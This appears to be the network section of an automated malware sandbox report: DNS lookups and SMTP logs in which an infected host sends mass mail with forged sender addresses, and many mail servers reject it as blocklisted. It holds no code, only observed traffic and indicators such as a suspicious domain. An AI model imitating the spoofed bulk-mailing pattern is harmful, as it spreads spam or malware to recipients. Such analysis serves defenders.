Jan 7, 2022 15:44:29.369245052 CET	8.8.8.8	192.168.2.6	0x2b87	No error (0)	jk.uni-linz.ac.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:29.389647007 CET	8.8.8.8	192.168.2.6	0x8c3c	No error (0)	mail4.edvz.uni-linz.ac.at		140.78.3.82	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:29.410852909 CET	8.8.8.8	192.168.2.6	0x9567	No error (0)	mail2.edvz.uni-linz.ac.at		140.78.3.69	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:29.432578087 CET	8.8.8.8	192.168.2.6	0x321b	No error (0)	mail3.edvz.uni-linz.ac.at		140.78.3.83	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:29.453985929 CET	8.8.8.8	192.168.2.6	0xf696	No error (0)	mail1.edvz.uni-linz.ac.at		140.78.3.68	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:29.604636908 CET	8.8.8.8	192.168.2.6	0xeaeb	No error (0)	cdata.tvnet.hu			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:30.102638960 CET	8.8.8.8	192.168.2.6	0x6c70	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:30.122967005 CET	8.8.8.8	192.168.2.6	0xeed5	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:30.417124033 CET	8.8.8.8	192.168.2.6	0x5b71	No error (0)	a1plus.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:30.436024904 CET	8.8.8.8	192.168.2.6	0xf11b	No error (0)	smx01.a1.net		195.3.96.71	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:30.821743965 CET	8.8.8.8	192.168.2.6	0x27c5	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:30.821743965 CET	8.8.8.8	192.168.2.6	0x27c5	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:30.821743965 CET	8.8.8.8	192.168.2.6	0x27c5	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:30.840394020 CET	8.8.8.8	192.168.2.6	0x553c	No error (0)	mx2c50.megamailservers.eu		91.136.8.46	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:30.860605001 CET	8.8.8.8	192.168.2.6	0x439	No error (0)	mx3c50.megamailservers.eu		91.136.8.47	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:30.881052017 CET	8.8.8.8	192.168.2.6	0x429	No error (0)	mx1c50.megamailservers.eu		91.136.8.41	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:31.984664917 CET	8.8.8.8	192.168.2.6	0xfa1c	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:32.030103922 CET	8.8.8.8	192.168.2.6	0xed87	Name error (3)	au.au-net.ne.jp	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:32.053498030 CET	8.8.8.8	192.168.2.6	0x899d	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:32.392353058 CET	8.8.8.8	192.168.2.6	0x12e7	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:50.432728052 CET	8.8.8.8	192.168.2.6	0x4605	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:50.687325954 CET	8.8.8.8	192.168.2.6	0x4622	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:50.878504992 CET	8.8.8.8	192.168.2.6	0x2290	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:51.062401056 CET	8.8.8.8	192.168.2.6	0x363e	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:51.242718935 CET	8.8.8.8	192.168.2.6	0x7ba8	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:51.431583881 CET	8.8.8.8	192.168.2.6	0xabac	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:51.610187054 CET	8.8.8.8	192.168.2.6	0xa246	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:51.798753977 CET	8.8.8.8	192.168.2.6	0xdacd	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.100497007 CET	8.8.8.8	192.168.2.6	0x5bb6	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.127384901 CET	8.8.8.8	192.168.2.6	0xc574	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.158063889 CET	8.8.8.8	192.168.2.6	0x4c7e	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.189443111 CET	8.8.8.8	192.168.2.6	0x4138	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.221328974 CET	8.8.8.8	192.168.2.6	0x9679	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.252243996 CET	8.8.8.8	192.168.2.6	0x7eda	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.281780958 CET	8.8.8.8	192.168.2.6	0xda78	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.315464020 CET	8.8.8.8	192.168.2.6	0xcb89	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.343097925 CET	8.8.8.8	192.168.2.6	0x239	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.377089024 CET	8.8.8.8	192.168.2.6	0xf7ad	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.407706022 CET	8.8.8.8	192.168.2.6	0x3fe2	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.442549944 CET	8.8.8.8	192.168.2.6	0x30db	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.465403080 CET	8.8.8.8	192.168.2.6	0xc490	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:53.471436977 CET	8.8.8.8	192.168.2.6	0x4346	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:45:01.542649031 CET	8.8.8.8	192.168.2.6	0x2cac	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:45:03.157915115 CET	8.8.8.8	192.168.2.6	0xc3b7	No error (0)	www2.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:45:03.753324986 CET	8.8.8.8	192.168.2.6	0x1fa2	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:45:06.613606930 CET	8.8.8.8	192.168.2.6	0x350	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 7, 2022 15:42:40.330198050 CET	25	49734	67.195.204.79	192.168.2.6	220 mtaproxy209.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:42:40.653408051 CET	25	49737	104.47.57.33	192.168.2.6	220 SN1NAM02FT0041.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:42:36 +0000
Jan 7, 2022 15:42:44.016570091 CET	25	49739	67.195.204.79	192.168.2.6	220 mtaproxy206.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:42:44.016705990 CET	49739	25	192.168.2.6	67.195.204.79	HELO mta7.am0.yahoodns.net
Jan 7, 2022 15:42:44.128859997 CET	25	49739	67.195.204.79	192.168.2.6	250 mtaproxy206.free.mail.bf1.yahoo.com
Jan 7, 2022 15:42:44.132061958 CET	49739	25	192.168.2.6	67.195.204.79	MAIL FROM: <sec@yahoo.com>
Jan 7, 2022 15:42:44.230494976 CET	25	49740	104.47.57.33	192.168.2.6	220 SN1NAM02FT0006.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:42:43 +0000
Jan 7, 2022 15:42:44.231031895 CET	49740	25	192.168.2.6	104.47.57.33	HELO hotmail-com.olc.protection.outlook.com
Jan 7, 2022 15:42:44.244676113 CET	25	49739	67.195.204.79	192.168.2.6	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:42:44.245009899 CET	49739	25	192.168.2.6	67.195.204.79	QUIT
Jan 7, 2022 15:42:44.343815088 CET	25	49741	77.88.21.249	192.168.2.6	220 sas2-31d5860f8907.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641566564-fYE1uUrbCp-gieeNAYj
Jan 7, 2022 15:42:44.344037056 CET	49741	25	192.168.2.6	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:42:44.359847069 CET	25	49740	104.47.57.33	192.168.2.6	250 SN1NAM02FT0006.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:42:44.360035896 CET	49740	25	192.168.2.6	104.47.57.33	MAIL FROM: <alice.taylor@fastmail.fm>
Jan 7, 2022 15:42:44.401197910 CET	25	49741	77.88.21.249	192.168.2.6	250 sas2-31d5860f8907.qloud-c.yandex.net
Jan 7, 2022 15:42:44.401381016 CET	49741	25	192.168.2.6	77.88.21.249	MAIL FROM: <sec@yandex.ru>
Jan 7, 2022 15:42:44.460284948 CET	25	49741	77.88.21.249	192.168.2.6	250 2.1.0 <sec@yandex.ru> ok 1641566564-fYE1uUrbCp-giee8ikR
Jan 7, 2022 15:42:44.460491896 CET	49741	25	192.168.2.6	77.88.21.249	RCPT TO: <macjohnsmith@yandex.ru>
Jan 7, 2022 15:42:44.489449978 CET	25	49740	104.47.57.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [SN1NAM02FT0006.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:42:44.489573956 CET	49740	25	192.168.2.6	104.47.57.33	QUIT
Jan 7, 2022 15:42:44.529186010 CET	25	49741	77.88.21.249	192.168.2.6	550 5.7.1 No such user! 1641566564-fYE1uUrbCp-giee8ikR
Jan 7, 2022 15:42:44.530113935 CET	49741	25	192.168.2.6	77.88.21.249	QUIT
Jan 7, 2022 15:42:44.588567019 CET	25	49741	77.88.21.249	192.168.2.6	221 2.0.0 Closing connecton
Jan 7, 2022 15:42:44.623019934 CET	25	49742	67.195.228.106	192.168.2.6	220 mtaproxy201.free.mail.gq1.yahoo.com ESMTP ready
Jan 7, 2022 15:42:44.623136044 CET	49742	25	192.168.2.6	67.195.228.106	HELO mta5.am0.yahoodns.net
Jan 7, 2022 15:42:44.783406019 CET	25	49742	67.195.228.106	192.168.2.6	250 mtaproxy201.free.mail.gq1.yahoo.com
Jan 7, 2022 15:42:44.783510923 CET	49742	25	192.168.2.6	67.195.228.106	MAIL FROM: <sec@yahoo.com>
Jan 7, 2022 15:42:44.944798946 CET	25	49742	67.195.228.106	192.168.2.6	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:42:44.945075035 CET	49742	25	192.168.2.6	67.195.228.106	QUIT
Jan 7, 2022 15:42:45.342535019 CET	25	49743	67.195.228.111	192.168.2.6	220 mtaproxy411.free.mail.gq1.yahoo.com ESMTP ready
Jan 7, 2022 15:42:45.343112946 CET	49743	25	192.168.2.6	67.195.228.111	HELO mta6.am0.yahoodns.net
Jan 7, 2022 15:42:45.511567116 CET	25	49743	67.195.228.111	192.168.2.6	250 mtaproxy411.free.mail.gq1.yahoo.com
Jan 7, 2022 15:42:45.511702061 CET	49743	25	192.168.2.6	67.195.228.111	MAIL FROM: <sec@yahoo.com>
Jan 7, 2022 15:42:45.665934086 CET	25	49744	77.88.21.249	192.168.2.6	220 vla5-e73a8d595475.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641566565-IoeGYZveGZ-gji044V7
Jan 7, 2022 15:42:45.666176081 CET	49744	25	192.168.2.6	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:42:45.680557966 CET	25	49743	67.195.228.111	192.168.2.6	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:42:45.680740118 CET	49743	25	192.168.2.6	67.195.228.111	QUIT
Jan 7, 2022 15:42:45.722501993 CET	25	49744	77.88.21.249	192.168.2.6	250 vla5-e73a8d595475.qloud-c.yandex.net
Jan 7, 2022 15:42:45.722726107 CET	49744	25	192.168.2.6	77.88.21.249	MAIL FROM: <helen.kenneth@care2.com>
Jan 7, 2022 15:42:45.779901981 CET	25	49744	77.88.21.249	192.168.2.6	250 2.1.0 <helen.kenneth@care2.com> ok 1641566565-IoeGYZveGZ-gji0tDZN
Jan 7, 2022 15:42:45.780039072 CET	49744	25	192.168.2.6	77.88.21.249	RCPT TO: <macjohnsmith@tut.by>
Jan 7, 2022 15:42:45.842571020 CET	25	49744	77.88.21.249	192.168.2.6	550 5.7.1 No such user! 1641566565-IoeGYZveGZ-gji0tDZN
Jan 7, 2022 15:42:45.842731953 CET	49744	25	192.168.2.6	77.88.21.249	QUIT
Jan 7, 2022 15:42:45.898819923 CET	25	49744	77.88.21.249	192.168.2.6	221 2.0.0 Closing connecton
Jan 7, 2022 15:42:46.822977066 CET	25	49747	74.208.5.20	192.168.2.6	554-mail.com (mxgmxus010) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:42:47.094856024 CET	25	49748	74.208.5.22	192.168.2.6	554-mail.com (mxgmxus008) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:42:50.709467888 CET	25	49750	108.177.119.26	192.168.2.6	220 mx.google.com ESMTP qa36si2376967ejc.470 - gsmtp
Jan 7, 2022 15:42:50.709640026 CET	49750	25	192.168.2.6	108.177.119.26	HELO gmail-smtp-in.l.google.com
Jan 7, 2022 15:42:50.742666960 CET	25	49750	108.177.119.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:42:50.742839098 CET	49750	25	192.168.2.6	108.177.119.26	MAIL FROM: <serv@gmail.com>
Jan 7, 2022 15:42:50.772324085 CET	25	49750	108.177.119.26	192.168.2.6	250 2.1.0 OK qa36si2376967ejc.470 - gsmtp
Jan 7, 2022 15:42:50.772505045 CET	49750	25	192.168.2.6	108.177.119.26	RCPT TO: <njhnbkf@gmail.com>
Jan 7, 2022 15:42:50.927751064 CET	25	49750	108.177.119.26	192.168.2.6	250 2.1.5 OK qa36si2376967ejc.470 - gsmtp
Jan 7, 2022 15:42:50.927906990 CET	49750	25	192.168.2.6	108.177.119.26	DATA
Jan 7, 2022 15:42:50.957998037 CET	25	49750	108.177.119.26	192.168.2.6	354 Go ahead qa36si2376967ejc.470 - gsmtp
Jan 7, 2022 15:42:51.481518984 CET	25	49751	194.152.32.72	192.168.2.6	220-timmy2-world.inbox.lv ESMTP
Jan 7, 2022 15:42:51.481653929 CET	49751	25	192.168.2.6	194.152.32.72	HELO mx1.inbox.lv
Jan 7, 2022 15:42:51.523875952 CET	25	49751	194.152.32.72	192.168.2.6	250 timmy2-world.inbox.lv
Jan 7, 2022 15:42:51.524490118 CET	49751	25	192.168.2.6	194.152.32.72	MAIL FROM: <brian.taylor@mail.com>
Jan 7, 2022 15:42:51.566771030 CET	25	49751	194.152.32.72	192.168.2.6	250 2.1.0 Ok
Jan 7, 2022 15:42:51.566924095 CET	49751	25	192.168.2.6	194.152.32.72	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:42:51.608876944 CET	25	49751	194.152.32.72	192.168.2.6	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using b.barracudacentral.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:42:51.609069109 CET	49751	25	192.168.2.6	194.152.32.72	QUIT
Jan 7, 2022 15:42:51.651427984 CET	25	49751	194.152.32.72	192.168.2.6	221 2.0.0 Bye
Jan 7, 2022 15:42:51.665977001 CET	49750	25	192.168.2.6	108.177.119.26	. QUIT
Jan 7, 2022 15:42:51.693645954 CET	25	49752	194.152.32.73	192.168.2.6	220-timmy3-world.inbox.lv ESMTP
Jan 7, 2022 15:42:51.704792023 CET	49752	25	192.168.2.6	194.152.32.73	HELO mx2.inbox.lv
Jan 7, 2022 15:42:51.746752024 CET	25	49752	194.152.32.73	192.168.2.6	250 timmy3-world.inbox.lv
Jan 7, 2022 15:42:51.747112036 CET	49752	25	192.168.2.6	194.152.32.73	MAIL FROM: <brian.taylor@mail.com>
Jan 7, 2022 15:42:51.788964987 CET	25	49752	194.152.32.73	192.168.2.6	250 2.1.0 Ok
Jan 7, 2022 15:42:51.789105892 CET	49752	25	192.168.2.6	194.152.32.73	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:42:51.831084967 CET	25	49752	194.152.32.73	192.168.2.6	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using spamhaus.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:42:51.831248999 CET	49752	25	192.168.2.6	194.152.32.73	QUIT
Jan 7, 2022 15:42:51.873117924 CET	25	49752	194.152.32.73	192.168.2.6	221 2.0.0 Bye
Jan 7, 2022 15:42:52.116594076 CET	25	49753	195.3.96.71	192.168.2.6	220 smarthub79.res.a1.net ESMTP
Jan 7, 2022 15:42:52.117163897 CET	49753	25	192.168.2.6	195.3.96.71	HELO smx01.a1.net
Jan 7, 2022 15:42:52.138153076 CET	25	49753	195.3.96.71	192.168.2.6	250 smarthub79.res.a1.net
Jan 7, 2022 15:42:52.138288975 CET	49753	25	192.168.2.6	195.3.96.71	MAIL FROM: <serv@a1plus.at>
Jan 7, 2022 15:42:52.159564018 CET	25	49753	195.3.96.71	192.168.2.6	553 sorry, mail from your location [102.129.143.96] is administratively denied (#5.7.1)
Jan 7, 2022 15:42:52.159717083 CET	49753	25	192.168.2.6	195.3.96.71	QUIT
Jan 7, 2022 15:42:52.181135893 CET	25	49753	195.3.96.71	192.168.2.6	221 smarthub79.res.a1.net Goodbye.
Jan 7, 2022 15:42:55.211003065 CET	25	49754	91.136.8.41	192.168.2.6	220 mail282c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:42:53 +0000
Jan 7, 2022 15:42:55.211163044 CET	49754	25	192.168.2.6	91.136.8.41	HELO mx1c50.megamailservers.eu
Jan 7, 2022 15:42:55.255690098 CET	25	49754	91.136.8.41	192.168.2.6	250 mail282c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:42:55.303632975 CET	49754	25	192.168.2.6	91.136.8.41	MAIL FROM: <jim.hill@care2.com>
Jan 7, 2022 15:42:55.444839954 CET	25	49754	91.136.8.41	192.168.2.6	250 2.1.0 <jim.hill@care2.com>... Sender ok
Jan 7, 2022 15:42:55.468883038 CET	49754	25	192.168.2.6	91.136.8.41	RCPT TO: <web@telering.at>
Jan 7, 2022 15:42:55.504384995 CET	25	49755	67.195.204.73	192.168.2.6	220 mtaproxy402.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:42:55.504528999 CET	49755	25	192.168.2.6	67.195.204.73	HELO mta6.am0.yahoodns.net
Jan 7, 2022 15:42:55.525038004 CET	25	49754	91.136.8.41	192.168.2.6	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:42:55.525171995 CET	49754	25	192.168.2.6	91.136.8.41	QUIT
Jan 7, 2022 15:42:55.528980970 CET	25	49749	213.186.119.6	192.168.2.6	220 out04.mi6.kiev.ua ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:42:55 +0200
Jan 7, 2022 15:42:55.529128075 CET	49749	25	192.168.2.6	213.186.119.6	HELO mx10.bigmir.net
Jan 7, 2022 15:42:55.567951918 CET	25	49754	91.136.8.41	192.168.2.6	221 2.0.0 mail282c50.megamailservers.eu closing connection
Jan 7, 2022 15:42:55.589922905 CET	25	49749	213.186.119.6	192.168.2.6	250 out04.mi6.kiev.ua Hello mx10.bigmir.net [102.129.143.96]
Jan 7, 2022 15:42:55.590078115 CET	49749	25	192.168.2.6	213.186.119.6	MAIL FROM: <alice.anderson@fastmail.fm>
Jan 7, 2022 15:42:55.599586010 CET	25	49756	104.47.22.161	192.168.2.6	220 DB8EUR06FT008.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:42:55 +0000
Jan 7, 2022 15:42:55.599791050 CET	49756	25	192.168.2.6	104.47.22.161	HELO hotmail-com.olc.protection.outlook.com
Jan 7, 2022 15:42:55.619930029 CET	25	49755	67.195.204.73	192.168.2.6	250 mtaproxy402.free.mail.bf1.yahoo.com
Jan 7, 2022 15:42:55.620057106 CET	49755	25	192.168.2.6	67.195.204.73	MAIL FROM: <hill_tcrjx@mail.aim.com>
Jan 7, 2022 15:42:55.643151045 CET	25	49756	104.47.22.161	192.168.2.6	250 DB8EUR06FT008.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:42:55.643292904 CET	49756	25	192.168.2.6	104.47.22.161	MAIL FROM: <sec@hotmail.com>
Jan 7, 2022 15:42:55.651722908 CET	25	49749	213.186.119.6	192.168.2.6	250 OK
Jan 7, 2022 15:42:55.651864052 CET	49749	25	192.168.2.6	213.186.119.6	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:42:55.689001083 CET	25	49756	104.47.22.161	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DB8EUR06FT008.eop-eur06.prod.protection.outlook.com]
Jan 7, 2022 15:42:55.697223902 CET	49756	25	192.168.2.6	104.47.22.161	QUIT
Jan 7, 2022 15:42:55.728203058 CET	25	49749	213.186.119.6	192.168.2.6	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:42:55.728312016 CET	49749	25	192.168.2.6	213.186.119.6	QUIT
Jan 7, 2022 15:42:55.735416889 CET	25	49755	67.195.204.73	192.168.2.6	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:42:55.735718012 CET	49755	25	192.168.2.6	67.195.204.73	QUIT
Jan 7, 2022 15:42:55.788484097 CET	25	49749	213.186.119.6	192.168.2.6	221 out04.mi6.kiev.ua closing connection
Jan 7, 2022 15:42:55.900088072 CET	25	49760	77.88.21.249	192.168.2.6	220 sas2-246bdf6020c5.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641566575-MIqh498173-gteeKVRV
Jan 7, 2022 15:42:55.906759977 CET	49760	25	192.168.2.6	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:42:55.964567900 CET	25	49760	77.88.21.249	192.168.2.6	250 sas2-246bdf6020c5.qloud-c.yandex.net
Jan 7, 2022 15:42:55.964656115 CET	49760	25	192.168.2.6	77.88.21.249	MAIL FROM: <thomaslawlp@care2.com>
Jan 7, 2022 15:42:56.023648024 CET	25	49760	77.88.21.249	192.168.2.6	250 2.1.0 <thomaslawlp@care2.com> ok 1641566575-MIqh498173-gteeX24L
Jan 7, 2022 15:42:56.023757935 CET	49760	25	192.168.2.6	77.88.21.249	RCPT TO: <macjohnsmith@yandex.ru>
Jan 7, 2022 15:42:56.043452024 CET	25	49759	98.136.96.76	192.168.2.6	220 mtaproxy403.free.mail.ne1.yahoo.com ESMTP ready
Jan 7, 2022 15:42:56.046236992 CET	49759	25	192.168.2.6	98.136.96.76	HELO mta7.am0.yahoodns.net
Jan 7, 2022 15:42:56.094043016 CET	25	49760	77.88.21.249	192.168.2.6	550 5.7.1 No such user! 1641566576-MIqh498173-gteeX24L
Jan 7, 2022 15:42:56.094305992 CET	49760	25	192.168.2.6	77.88.21.249	QUIT
Jan 7, 2022 15:42:56.152302027 CET	25	49760	77.88.21.249	192.168.2.6	221 2.0.0 Closing connecton
Jan 7, 2022 15:42:56.172147036 CET	25	49761	77.88.21.249	192.168.2.6	220 vla1-f1c0ed8f08ad.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641566576-gCjqikgAWc-gueaUvxL
Jan 7, 2022 15:42:56.174249887 CET	49761	25	192.168.2.6	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:42:56.177799940 CET	25	49759	98.136.96.76	192.168.2.6	250 mtaproxy403.free.mail.ne1.yahoo.com
Jan 7, 2022 15:42:56.178093910 CET	49759	25	192.168.2.6	98.136.96.76	MAIL FROM: <hill_tcrjx@mail.aim.com>
Jan 7, 2022 15:42:56.229154110 CET	25	49761	77.88.21.249	192.168.2.6	250 vla1-f1c0ed8f08ad.qloud-c.yandex.net
Jan 7, 2022 15:42:56.309789896 CET	25	49759	98.136.96.76	192.168.2.6	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:42:56.602036953 CET	49761	25	192.168.2.6	77.88.21.249	MAIL FROM: <sec@tut.by>
Jan 7, 2022 15:42:56.602159023 CET	49759	25	192.168.2.6	98.136.96.76	QUIT
Jan 7, 2022 15:42:56.658766031 CET	25	49761	77.88.21.249	192.168.2.6	250 2.1.0 <sec@tut.by> ok 1641566576-gCjqikgAWc-gueaFLbr
Jan 7, 2022 15:42:56.658952951 CET	49761	25	192.168.2.6	77.88.21.249	RCPT TO: <macjohnsmith@tut.by>
Jan 7, 2022 15:42:56.721448898 CET	25	49761	77.88.21.249	192.168.2.6	550 5.7.1 No such user! 1641566576-gCjqikgAWc-gueaFLbr
Jan 7, 2022 15:42:56.725097895 CET	49761	25	192.168.2.6	77.88.21.249	QUIT
Jan 7, 2022 15:42:56.780148029 CET	25	49761	77.88.21.249	192.168.2.6	221 2.0.0 Closing connecton
Jan 7, 2022 15:42:56.994591951 CET	25	49763	74.208.5.20	192.168.2.6	554-mail.com (mxgmxus006) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:42:57.023771048 CET	25	49762	67.195.204.79	192.168.2.6	220 mtaproxy210.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:42:57.048247099 CET	49762	25	192.168.2.6	67.195.204.79	HELO mta5.am0.yahoodns.net
Jan 7, 2022 15:42:57.161994934 CET	25	49762	67.195.204.79	192.168.2.6	250 mtaproxy210.free.mail.bf1.yahoo.com
Jan 7, 2022 15:42:57.235692978 CET	49762	25	192.168.2.6	67.195.204.79	MAIL FROM: <hill_tcrjx@mail.aim.com>
Jan 7, 2022 15:42:57.267045975 CET	25	49764	74.208.5.22	192.168.2.6	554-mail.com (mxgmxus005) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:42:57.349997997 CET	25	49762	67.195.204.79	192.168.2.6	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:42:57.638890028 CET	25	49757	91.136.8.46	192.168.2.6	220 mail54c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:42:55 +0000
Jan 7, 2022 15:42:57.975334883 CET	49762	25	192.168.2.6	67.195.204.79	QUIT
Jan 7, 2022 15:42:57.975426912 CET	49757	25	192.168.2.6	91.136.8.46	HELO mx2c50.megamailservers.eu
Jan 7, 2022 15:42:58.017100096 CET	25	49757	91.136.8.46	192.168.2.6	250 mail54c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:42:58.081403017 CET	49757	25	192.168.2.6	91.136.8.46	MAIL FROM: <jim.hill@care2.com>
Jan 7, 2022 15:42:58.201792002 CET	25	49757	91.136.8.46	192.168.2.6	250 2.1.0 <jim.hill@care2.com>... Sender ok
Jan 7, 2022 15:42:58.201935053 CET	49757	25	192.168.2.6	91.136.8.46	RCPT TO: <web@telering.at>
